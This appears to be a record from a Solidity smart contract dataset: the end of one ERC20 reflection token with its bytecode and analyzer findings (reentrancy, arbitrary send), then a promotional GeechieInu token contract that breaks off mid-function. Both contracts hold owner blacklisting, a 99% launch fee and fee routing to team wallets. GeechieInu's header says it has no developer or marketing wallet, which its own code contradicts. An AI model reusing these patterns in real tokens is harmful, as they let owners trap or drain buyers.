!= address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 1; _feeAddr2 = 12; if (from != owner() && to != owner() && from != address(this) && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { // Not over max tx amount require(amount <= _maxTxAmount, "Over max transaction amount."); // Cooldown require(cooldown[to] < block.timestamp, "Cooldown enforced."); // Max wallet require(balanceOf(to) + amount <= _maxWalletAmount, "Over max wallet amount."); cooldown[to] = block.timestamp + (30 seconds); } if ( to == uniswapV2Pair && from != address(uniswapV2Router) && !_isExcludedFromFee[from] ) { _feeAddr1 = 1; _feeAddr2 = 12; } if (openBlock + 4 >= block.number && from == uniswapV2Pair) { _feeAddr1 = 1; _feeAddr2 = 99; } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } else { // Only if it's not from or to owner or from contract address. _feeAddr1 = 0; _feeAddr2 = 0; } _tokenTransfer(from, to, amount); } function swapAndLiquifyEnabled(bool enabled) public onlyOwner { inSwap = enabled; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function setMaxTxAmount(uint256 amount) public onlyOwner { _maxTxAmount = amount * 10**9; } function setMaxWalletAmount(uint256 amount) public onlyOwner { _maxWalletAmount = amount * 10**9; } function whitelist(address payable adr1) external onlyOwner { _isExcludedFromFee[adr1] = true; } function unwhitelist(address payable adr2) external onlyOwner { _isExcludedFromFee[adr2] = false; } function openTrading() external onlyOwner { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; // .5% _maxTxAmount = 1000000000000 * 10**9; _maxWalletAmount = 2000000000000 * 10**9; tradingOpen = true; openBlock = block.number; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function addBot(address theBot) public onlyOwner { bots[theBot] = true; } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function setSwapTokens(uint256 swaptokens) public onlyOwner { _swapTokensAtAmount = swaptokens; } function _tokenTransfer( address sender, address recipient, uint256 amount ) private { _transferStandard(sender, recipient, amount); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualSwap() external { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualSend() external { uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues( tAmount, _feeAddr1, _feeAddr2 ); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues( tAmount, tFee, tTeam, currentRate ); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101445760003560e01c80638da5cb5b116100b6578063c9567bf91161006f578063c9567bf9146103b2578063dd62ed3e146103c7578063e98391ff1461040d578063ec28438a1461042d578063f42938901461044d578063ffecf5161461046257600080fd5b80638da5cb5b146102d657806395d89b41146102fe5780639a590427146103325780639b19251a14610352578063a9059cbb14610372578063bf6642e71461039257600080fd5b806327a14fc21161010857806327a14fc214610230578063313ce5671461025057806351bc3c851461026c5780635932ead11461028157806370a08231146102a1578063715018a6146102c157600080fd5b806306fdde0314610150578063095ea7b31461019757806318160ddd146101c757806323b872dd146101ee578063273123b71461020e57600080fd5b3661014b57005b600080fd5b34801561015c57600080fd5b5060408051808201909152600c81526b4d4153544552204541474c4560a01b60208201525b60405161018e9190611acc565b60405180910390f35b3480156101a357600080fd5b506101b76101b2366004611a24565b610482565b604051901515815260200161018e565b3480156101d357600080fd5b5069152d02c7e14af68000005b60405190815260200161018e565b3480156101fa57600080fd5b506101b76102093660046119e4565b610499565b34801561021a57600080fd5b5061022e610229366004611974565b610502565b005b34801561023c57600080fd5b5061022e61024b366004611a87565b610556565b34801561025c57600080fd5b506040516009815260200161018e565b34801561027857600080fd5b5061022e610594565b34801561028d57600080fd5b5061022e61029c366004611a4f565b6105ad565b3480156102ad57600080fd5b506101e06102bc366004611974565b6105f5565b3480156102cd57600080fd5b5061022e610617565b3480156102e257600080fd5b506000546040516001600160a01b03909116815260200161018e565b34801561030a57600080fd5b5060408051808201909152600b81526a4d41535445524541474c4560a81b6020820152610181565b34801561033e57600080fd5b5061022e61034d366004611974565b61068b565b34801561035e57600080fd5b5061022e61036d366004611974565b6106d6565b34801561037e57600080fd5b506101b761038d366004611a24565b610724565b34801561039e57600080fd5b5061022e6103ad366004611a87565b610731565b3480156103be57600080fd5b5061022e610760565b3480156103d357600080fd5b506101e06103e23660046119ac565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561041957600080fd5b5061022e610428366004611a4f565b610b3a565b34801561043957600080fd5b5061022e610448366004611a87565b610b82565b34801561045957600080fd5b5061022e610bc0565b34801561046e57600080fd5b5061022e61047d366004611974565b610bca565b600061048f338484610c18565b5060015b92915050565b60006104a6848484610d3c565b6104f884336104f385604051806060016040528060288152602001611c6c602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611223565b610c18565b5060019392505050565b6000546001600160a01b031633146105355760405162461bcd60e51b815260040161052c90611b1f565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146105805760405162461bcd60e51b815260040161052c90611b1f565b61058e81633b9aca00611bfc565b600d5550565b600061059f306105f5565b90506105aa8161125d565b50565b6000546001600160a01b031633146105d75760405162461bcd60e51b815260040161052c90611b1f565b60138054911515600160b81b0260ff60b81b19909216919091179055565b6001600160a01b03811660009081526002602052604081205461049390611402565b6000546001600160a01b031633146106415760405162461bcd60e51b815260040161052c90611b1f565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106b55760405162461bcd60e51b815260040161052c90611b1f565b6001600160a01b03166000908152600560205260409020805460ff19169055565b6000546001600160a01b031633146107005760405162461bcd60e51b815260040161052c90611b1f565b6001600160a01b03166000908152600560205260409020805460ff19166001179055565b600061048f338484610d3c565b6000546001600160a01b0316331461075b5760405162461bcd60e51b815260040161052c90611b1f565b600c55565b6000546001600160a01b0316331461078a5760405162461bcd60e51b815260040161052c90611b1f565b601354600160a01b900460ff16156107e45760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161052c565b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610822308269152d02c7e14af6800000610c18565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561085b57600080fd5b505afa15801561086f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108939190611990565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156108db57600080fd5b505afa1580156108ef573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109139190611990565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561095b57600080fd5b505af115801561096f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109939190611990565b601380546001600160a01b0319166001600160a01b039283161790556012541663f305d71947306109c3816105f5565b6000806109d86000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a3b57600080fd5b505af1158015610a4f573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a749190611a9f565b505060138054683635c9adc5dea00000600a55686c6b935b8bbd400000600d5563ffff00ff60a01b198116630101000160a01b1790915543600b5560125460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610afe57600080fd5b505af1158015610b12573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b369190611a6b565b5050565b6000546001600160a01b03163314610b645760405162461bcd60e51b815260040161052c90611b1f565b60138054911515600160a81b0260ff60a81b19909216919091179055565b6000546001600160a01b03163314610bac5760405162461bcd60e51b815260040161052c90611b1f565b610bba81633b9aca00611bfc565b600a5550565b476105aa81611486565b6000546001600160a01b03163314610bf45760405162461bcd60e51b815260040161052c90611b1f565b6001600160a01b03166000908152600660205260409020805460ff19166001179055565b6001600160a01b038316610c7a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161052c565b6001600160a01b038216610cdb5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161052c565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610da05760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161052c565b6001600160a01b038216610e025760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161052c565b60008111610e645760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161052c565b6001600e55600c600f556000546001600160a01b03848116911614801590610e9a57506000546001600160a01b03838116911614155b8015610eaf57506001600160a01b0383163014155b8015610ed457506001600160a01b03831660009081526005602052604090205460ff16155b8015610ef957506001600160a01b03821660009081526005602052604090205460ff16155b15611208576001600160a01b03831660009081526006602052604090205460ff16158015610f4057506001600160a01b03821660009081526006602052604090205460ff16155b610f4957600080fd5b6013546001600160a01b038481169116148015610f7457506012546001600160a01b03838116911614155b8015610f9957506001600160a01b03821660009081526005602052604090205460ff16155b8015610fae5750601354600160b81b900460ff165b156110eb57600a548111156110055760405162461bcd60e51b815260206004820152601c60248201527f4f766572206d6178207472616e73616374696f6e20616d6f756e742e00000000604482015260640161052c565b6001600160a01b03821660009081526007602052604090205442116110615760405162461bcd60e51b815260206004820152601260248201527121b7b7b63237bbb71032b73337b931b2b21760711b604482015260640161052c565b600d548161106e846105f5565b6110789190611bc4565b11156110c65760405162461bcd60e51b815260206004820152601760248201527f4f766572206d61782077616c6c657420616d6f756e742e000000000000000000604482015260640161052c565b6110d142601e611bc4565b6001600160a01b0383166000908152600760205260409020555b6013546001600160a01b03838116911614801561111657506012546001600160a01b03848116911614155b801561113b57506001600160a01b03831660009081526005602052604090205460ff16155b1561114b576001600e55600c600f555b43600b54600461115b9190611bc4565b1015801561117657506013546001600160a01b038481169116145b15611186576001600e556063600f555b6000611191306105f5565b600c54909150811080159081906111b25750601354600160a81b900460ff16155b80156111cc57506013546001600160a01b03868116911614155b80156111e15750601354600160b01b900460ff165b15611201576111ef8261125d565b4780156111ff576111ff47611486565b505b5050611213565b6000600e819055600f555b61121e83838361150b565b505050565b600081848411156112475760405162461bcd60e51b815260040161052c9190611acc565b5060006112548486611c1b565b95945050505050565b6013805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106112b357634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561130757600080fd5b505afa15801561131b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061133f9190611990565b8160018151811061136057634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526012546113869130911684610c18565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac947906113bf908590600090869030904290600401611b54565b600060405180830381600087803b1580156113d957600080fd5b505af11580156113ed573d6000803e3d6000fd5b50506013805460ff60a81b1916905550505050565b60006008548211156114695760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161052c565b6000611473611516565b905061147f8382611539565b9392505050565b6010546001600160a01b03166108fc6114a0836002611539565b6040518115909202916000818181858888f193505050501580156114c8573d6000803e3d6000fd5b506011546001600160a01b03166108fc6114e3836002611539565b6040518115909202916000818181858888f19350505050158015610b36573d6000803e3d6000fd5b61121e83838361157b565b6000806000611523611672565b90925090506115328282611539565b9250505090565b600061147f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116b6565b60008060008060008061158d876116e4565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506115bf9087611741565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115ee9086611783565b6001600160a01b038916600090815260026020526040902055611610816117e2565b61161a848361182c565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161165f91815260200190565b60405180910390a3505050505050505050565b600854600090819069152d02c7e14af680000061168f8282611539565b8210156116ad5750506008549269152d02c7e14af680000092509050565b90939092509050565b600081836116d75760405162461bcd60e51b815260040161052c9190611acc565b5060006112548486611bdc565b60008060008060008060008060006117018a600e54600f54611850565b9250925092506000611711611516565b905060008060006117248e8787876118a5565b919e509c509a509598509396509194505050505091939550919395565b600061147f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611223565b6000806117908385611bc4565b90508381101561147f5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161052c565b60006117ec611516565b905060006117fa83836118f5565b306000908152600260205260409020549091506118179082611783565b30600090815260026020526040902055505050565b6008546118399083611741565b6008556009546118499082611783565b6009555050565b600080808061186a606461186489896118f5565b90611539565b9050600061187d60646118648a896118f5565b905060006118958261188f8b86611741565b90611741565b9992985090965090945050505050565b60008080806118b488866118f5565b905060006118c288876118f5565b905060006118d088886118f5565b905060006118e28261188f8686611741565b939b939a50919850919650505050505050565b60008261190457506000610493565b60006119108385611bfc565b90508261191d8583611bdc565b1461147f5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161052c565b600060208284031215611985578081fd5b813561147f81611c48565b6000602082840312156119a1578081fd5b815161147f81611c48565b600080604083850312156119be578081fd5b82356119c981611c48565b915060208301356119d981611c48565b809150509250929050565b6000806000606084860312156119f8578081fd5b8335611a0381611c48565b92506020840135611a1381611c48565b929592945050506040919091013590565b60008060408385031215611a36578182fd5b8235611a4181611c48565b946020939093013593505050565b600060208284031215611a60578081fd5b813561147f81611c5d565b600060208284031215611a7c578081fd5b815161147f81611c5d565b600060208284031215611a98578081fd5b5035919050565b600080600060608486031215611ab3578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611af857858101830151858201604001528201611adc565b81811115611b095783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611ba35784516001600160a01b031683529383019391830191600101611b7e565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611bd757611bd7611c32565b500190565b600082611bf757634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611c1657611c16611c32565b500290565b600082821015611c2d57611c2d611c32565b500390565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b03811681146105aa57600080fd5b80151581146105aa57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220eeb3a7a854a12f293c6fcfad5956a2900f6a0adf8339958f187542a22577215064736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
6,753
0x8c1b3e778ffe8f4ef69f6c09d307f4f8ec0228e0
/* t.me/GeechieInu ───────█────────────────────────███▓ ────█──██──────────────────────███▓ ─────██████───────────────────███▓ ──────███████────────────────███▓ ───── █◉██████───────────────██▓ ────██████████───────────────██▓ ────██████████────────────────██▓ ─────█████████──────────█████████ ─────────██████─────██████████████ ─────────██████████████████████████ ─────────██████████████████████████ ─────────██████████████████████████ ─────────██████████████████████████ ──────────████████████▓▓▓▓█████████ ──────────███████▓▓▓▓▓────▓████████ ─────────█████▓▓▓──────────▓████████ ─────────███▓▓██────────────▓▓██████ ────────███▓─███─────────────█▓▓▓████ ────────███──███─────────────███──███ ───────███────██─────────────███───██ ───────██─────███────────────██────██ ──────███──────██───────────███────██ ─────███───────██───────────██─────██ ─────██─────────██─────────██──────██ ────███─────────██────────███──────██ ─彡███────────彡███──────彡███────彡███ ░██████╗░███████╗███████╗░█████╗░██╗░░██╗██╗███████╗ ██╗███╗░░██╗██╗░░░██╗ ██╔════╝░██╔════╝██╔════╝██╔══██╗██║░░██║██║██╔════╝ ██║████╗░██║██║░░░██║ ██║░░██╗░█████╗░░█████╗░░██║░░╚═╝███████║██║█████╗░░ ██║██╔██╗██║██║░░░██║ ██║░░╚██╗██╔══╝░░██╔══╝░░██║░░██╗██╔══██║██║██╔══╝░░ ██║██║╚████║██║░░░██║ ╚██████╔╝███████╗███████╗╚█████╔╝██║░░██║██║███████╗ ██║██║░╚███║╚██████╔╝ ░╚═════╝░╚══════╝╚══════╝░╚════╝░╚═╝░░╚═╝╚═╝╚══════╝ ╚═╝╚═╝░░╚══╝░╚═════╝░ CRYPTOMESSIAH's SHIBA INU! ☑️ Stealth-launch, no presale ☑️ Renounced contract ☑️ No max buy/sells, except small cooldown in the beginning. ☑️ A ERC20 meme token without developer & marketing wallet ☑️ Holding gets rewarded because of reflection ☑️ Locked liquidity ☑️ No chance that bots are able to buy this coin & have big % of tokens on launch ☑️ Earn tokens holding Geechie in your wallet. Team earns as well. ☑️ Slippage 16% - */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.6.12; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract GeechieInu is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; mapping (address => bool) private bots; mapping (address => uint) private cooldown; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = "Geechie Inu || t.me/GeechieInu"; string private constant _symbol = 'GEECHIE'; uint8 private constant _decimals = 9; uint256 private _taxFee = 3; uint256 private _teamFee = 12; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress, address payable marketingWalletAddress) public { _FeeAddress = FeeAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; _isExcludedFromFee[marketingWalletAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) { require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only"); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; 